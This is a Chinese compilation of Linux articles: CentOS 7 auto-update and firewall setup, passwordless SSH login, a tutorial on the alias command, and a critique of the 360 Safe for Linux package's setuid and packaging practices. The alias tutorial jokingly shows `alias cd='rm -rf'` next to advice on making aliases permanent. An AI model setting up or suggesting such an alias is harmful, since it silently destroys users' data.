systemctl restart sshd.service

完成后不要登出系统,使用另一个视窗尝试登入,测试无误便可进行下一步。

6. 更新、更新、每天更新、每天自动更新

每一天都有成千上万的黑客在世界各地寻找 Linux 系统和常见软件的安全漏洞,一有发现便会发动规模庞大而迅速的网络攻击,务求在我们来得及反应前把系统攻陷。不要以为黑客都只是十来岁的年轻小毛头,大部分黑客背后都有势力庞大、资源几乎无限的国家机构支持,有些甚至属于这些机构的雇员,美国的 NSA,英国的 GQHC,中国的无名黑客队伍,都是比较明目张胆由国家支持的网络黑帮,可见我们的系统时时刻刻都被凶狠之徒盯着,保持软件在最新的状态是其中一项我们必须做,也很容易做到的工作。

首先我们立即手动更新所有预先安装的软件:

yum -y update

跟着设定系统定时自动更新,第一步确定服务器是否安装了自动执行指令的工具,跟着使用 yum 一个名叫 yum-cron 插件。

CentOS 7 使用数个软件来自动执行指令:cron、anacron、at 和 batch,其中 cron 和 anacron 用来定期重复执行指令,At 和 batch 则用来在特定时间执行一次性的指令。我们将会使用 cron 和 anacron,两者的分别这里不细表了,将来有机会再讨论,现在使用以下指令安装 cron 和 anacron:

yum -y install cronie

下一步就是安装 yum-cron:

yum -y install yum-cron

其实你可以使用一个指令同时安装 cronie 和 yum-cron,甚至单独安装 yum-cron 也可以,因为 yum 会自动检测到 yum-cron 需要 cronie 然后自动替你安装,上面分开两个指令纯粹令大家容易明白。

完成后系统多了数个档案,比较重要的包括:

/etc/cron.daily/0yum.cron
Anacron 每天执行这个档案一次,它根据配置档案 /etc/yum/yum-cron.conf 来更新软件
/etc/yum/yum-cron.conf
这是每天执行 yum-cron 的配置档案,预设只会下载更新的软件,并不安装,用意是让管理员检视 yum-cron 的输出,选取需要更新的软件进行手动安装。

跟着我们修改配置档案,让 yum-cron 自动更新软件,使用 vim (或任何文本编辑器) 开启 /etc/yum/yum-cron.conf,寻找:

apply_updates = no

修改为:

apply_updates = yes

确认一下 update_messages = yes, download_updates = yes, apply_updates = yes,正如下图:

090

最后,启动 crond 和 yum-cron:

systemctl start crond
systemctl start yum-cron

7. 防火墙

防火墙的作用好比网络警察,它监察所有进出系统的 IP 封包,哪些端口容许封包进入,哪些端口容许封包外出等等,都由防火墙控制,保护使用这些端口的应用程式,所以设定防火墙是极重要的工作。

过滤封包功能的 netfilter 已经内建在 CentOS 7 的内核,但是配置 netfilter 的界面程式 firewalld 却未必有安装,不论是否已经安装,都可以执行下面的安装指令:

yum install firewalld

跟着查看一下防火墙现在开启了哪些服务和端口:

firewall-cmd --list-all

100
上图可见防火墙只开启了 DHCP 客户端和 ssh 两个服务的通讯端口,倘若日后安装了其他网络软件,例如网站服务器、域名服务器等等,必须要检查安装程式有否开启他们的通讯端口,没有的话便要手动开启。如果好像前面第四点那样使用了非常规的通讯端口,也可能要手动配置防火墙,防火墙详细的配置方法超出了本文的讨论范围,将来有机会再谈。

SSH实现无密码登陆

假设你是hostA上的一个用户”aliceA”,想以用户“aliceB”的身份ssh到hostB上,但又不想输入密码。那么,你可以参考这篇教程实现ssd无密码登录。

首先,你需要以用户“aliceA”的身份登录到hostA上。

然后,使用ssh-keygen生成一对rsa公私钥,生成的密钥对会存放在~/.ssh目录下。

$ ssh-keygen -t rsa

接下来,使用下面的命令在目标主机hostB上的aliceB用户目录下创建~/.ssh目录。如果在aliceB@hostB上已经存在.ssh目录,这一步会被略过。

$ ssh aliceB@hostB mkdir -p .ssh

最后,将hostA上用户“aliceA”的公钥拷贝到aliceB@hostB上,来实现无密码ssh。

$ cat .ssh/id_rsa.pub | ssh aliceB@hostB 'cat >> .ssh/authorized_keys'

自此以后,从aliceA@hostA上ssh到aliceB@hostB上再也不需要输入密码。(LCTT 译注:上述的创建目录并复制的操作也可以通过一个 ssh-copy-id 命令一步完成:ssh-copy-id -i ~/.ssh/id_rsa.pub aliceB@hostB

疑难解答

即使在密钥认证生效后,你可能仍然需要输入SSH密码。如果遇到这种情况,请检查系统日志(如/var/log/secure)以查看是否出现下面的异常。

  1. Authentication refused: bad ownership or modes for file /home/aliceB/.ssh/authorized_keys

    在这种情况下,密钥认证的失败是由于~/.ssh/authorized_keys文件的权限或拥有者不正确。一般情况,如果这个文件对除了你之外的所有用户都可读,就会出现这个错误。用下面的方式改变文件的权限以修正错误。

    $ chmod 700 ~/.ssh/authorized_keys 

via: http://xmodulo.com/how-to-enable-ssh-login-without.html

作者:Dan Nanni 译者:KayGuoWhu 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

linux 别名命令——alias

linux的别名功能

功能说明:设置指令的别名。
语  法:alias[别名]=[指令名称]

参  数 :若不加任何参数,则列出目前所有的别名设置。
举    例 :ermao@lost-desktop:~$ alias
                alias egrep=’egrep –color=auto’
               alias fgrep=’fgrep –color=auto’
                
alias grep=’grep –color=auto’
                alias l=’ls -CF’
                alias la=’ls -A’
                alias ll=’ls -alF’
                alias ls=’ls –color=auto’

说     明:用户可利用alias,自定指令的别名。若仅输入alias,则可列出目前所有的别名设置。 alias的效力仅及于该次登入的操作。若要每次登入是即自动设好别名,可在/etc/profile或自己的~/.bashrc中设定指令的别名。

    还有,如果你想给每一位用户都生效的别名,请把alias la=’ls -al’ 一行加在/etc/bashrc最后面,bashrc是环境变量的配置文件 /etc/bashrc和~/.bashrc 区别就在于一个是设置给全系统一个是设置给单用户使用.

    利用alias可以把很长的命令变成任意我们喜欢的简短的,
比如:alias cd=’rm -rf’     0.0! ,呵呵开个玩笑

    如果想永久生效,就把这条写入到 /etc/bashrc里面

360 安全卫士 for Linux 使用结果

测试了一把,结果显示360基本对Linux社区规范和安全常识不give a fuck。

胡乱打包

首先,这个deb包就是胡乱打包,依赖关系就没弄好:

$ dpkg-deb -I 360safeforlinux-3.0.0.66-stripped.deb 
[...]
 Package: 360safeforlinux
 Version: 3.0.0.66
 Architecture: amd64
 Maintainer: qihu360 company
 Installed-Size: 23617
 Depends: libc6 (>= 2.14),libglib2.0-0 (>= 2.38),python2.7 (>= 2.7.6),openssl(>= 1.0),curl,libqt4-network(>= 4.8.5),libqt4-sql(>= 4.8.5)
 Section: gnome
 Priority: required
 Essential: yes
 Description: 360 safe for linux

但是还实际依赖了libpython2.7和libqtgui4两个库没有标明,要我手动修复。

滥用 Essential

这个打包还通过滥用Essential标记来制造卸载的麻烦。

root@debian-amd64:/home/user# apt-get remove 360safeforlinux
[...]
The following packages will be REMOVED:
  360safeforlinux
WARNING: The following essential packages will be removed.
This should NOT be done unless you know exactly what you are doing!
  360safeforlinux
[...]
**You are about to do something potentially harmful.**
To continue type in the phrase 'Yes, do as I say!'
 ?] 
Abort.

root@debian-amd64:/home/user# aptitude remove 360safeforlinux
The following packages will be REMOVED:  
  360safeforlinux 
[...]
The following ESSENTIAL packages will be REMOVED!
  360safeforlinux 

WARNING: Performing this action will probably cause your system to break!
         Do NOT continue unless you know EXACTLY what you are doing!
To continue, type the phrase "I am aware that this is a very bad idea":

关于Essential打包政策,DebianUbuntu都只保留给最必要的包。

随意使用 setuid

安装后dpkg配置时它的postinst脚本直接给加上了setuid。如此随意地使用setuid,还能自称是安全?

if [ "$1" = "configure" ];then
    chmod u+s /opt/360safeforlinux/s360SafeForLinux
[...]
fi

这个的意思就是,以普通用户权限运行这个东西,它会变成root:

user@debian-amd64:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
user@debian-amd64:~$ start360 &
[1] 4512
user@debian-amd64:~$ pstree -u
init─┬─dhclient
     ├─5*[getty]
     ├─login───bash(user)───startx───xinit─┬─Xorg(root)
     │                                     └─x-window-manage
[...]
     ├─urxvtd(user)
     └─urxvtd(user)─┬─bash───start360(root)─┬─{BackendTaskThre}
                    │                       ├─{BrowserHomePage}
                    │                       ├─{CpuMemUseState}
                    │                       ├─{FileWatcher}
                    │                       ├─{IsolateZone}
                    │                       ├─{LogCleanThread}
                    │                       ├─2*[{MyThread}]
                    │                       ├─{VdUpload}
                    │                       └─3*[{start360}]
                    └─bash───pstree

内核模块?

dpkg的prerm脚本还有奇怪的东西:

rc=`lsmod | grep "rk360" | xargs echo`
if [ -n "$rc" ];then
    rmmod rk360 2>/dev/null 1>&2
    rm -rf /etc/360safe/360safe.ko 2>/dev/null 1>&2
fi

rc=`lsmod | grep "immu" | xargs echo`
if [ -n "$rc" ];then
    rmmod immu 2>/dev/null 1>&2
    rm -rf /etc/360safe/immu.ko 2>/dev/null 1>&2
fi

360不仅不满足于root权限,还在用内核模块?不过这次使用中并未发现这两个内核模块。

运行的怪现状

start360启动,然后有两个运行时怪现状:

  1. 把pid保存到/etc/360safe/360safeforlinux.pid。会不会遵守FHS?
  2. 疯狂扫描系统文件,powertop显示闲置状态每秒30个唤醒,笔记本电池寿命已死。会不会用inotify?

功能的真相

它提供了一些功能。

  • 全盘扫描。所有文件都是按照标准设计的,哪个恶意哪个不恶意真不是360能说了算的。
  • 一键清理。可以使用这个命令替代:rm -r ~/.adobe ~/.cache ~/.local ~/.macromedia ~/.thumbnails /tmp/*。但是这些临时文件是有用的,也占不了多大空间。
  • 优化加速。就是把update-rc.d/chkconfig封装了一个图形界面。
  • 软件管家。360的私货app store。
  • 文件粉碎。Linux下有什么无法删除的“顽固”文件?还是重新发明了coreutils的/usr/bin/shred?来删除/proc试试?
  • 网盾。就是Firefox和Chrome的插件。
    ./etc/360safe/urlcheck
    ./etc/360safe/urlcheck/normalize.py
    ./etc/360safe/urlcheck/Firefox
    ./etc/360safe/urlcheck/Firefox/360webshield@qihoo.com.xpi
    ./etc/360safe/urlcheck/lcloud.ini
    ./etc/360safe/urlcheck/browserextensionsinstaller.py
    ./etc/360safe/urlcheck/Chrome
    ./etc/360safe/urlcheck/Chrome/360WebShield.crx
    
  • 还有二进制库的“云查杀”,QEX引擎,BitDefender引擎。不了解有什么用处。

许可证列举

360唯有一点用功了,就是列了一大堆非GPL的许可证:

license/zlib_license.txt
license/c-ares_license.txt
license/qt_license_lgpl.txt
license/unrar_license.txt
license/sqlite_license.txt
license/elftoolchain_license.txt
license/libcurl_license.txt
license/7-Zip_license.txt
license/boost_license.txt
license/openssl_licnese.txt
license/minizip_license.txt
license/jsoncpp_license.txt
license/protobuf_license.txt
license/Noto fonts_license.txt
license/qt_lgpl_exception.txt

这样人们就无权索要源代码。不过,一个安全产品不公开源代码,然后用setuid拿了root还要搞内核模块,谁知道你要干嘛?总之,360对Linux社区规范和安全常识基本不give a fuck。

为什么说缺乏安全常识。

首先,用setuid给一个图形网络程序整体提权到root就是自送漏洞,全身是洞,只要发现一个,就是远程root。

其次,用户界面永远不需要root,提权进行特定动作特定配置有polkit,更新系统配置文件可以有facl可以有SELinux/AppArmor,内核级文件扫描可以有auditd,这些机制都不需要一个以root运行的用户界面造成巨大的攻击面。

第三,以root权限运行网上下载的二进制文件是一切病毒发生的起源。尤其是这种既没有源代码可审计,也没有数字签名可验证真实性的东西。

注:本站对本文有部分修改。原文来自: http://www.v2ex.com/t/158380
阅读全文及发表评论,请移步:http://linux.cn/article-4574-1-qqmail.html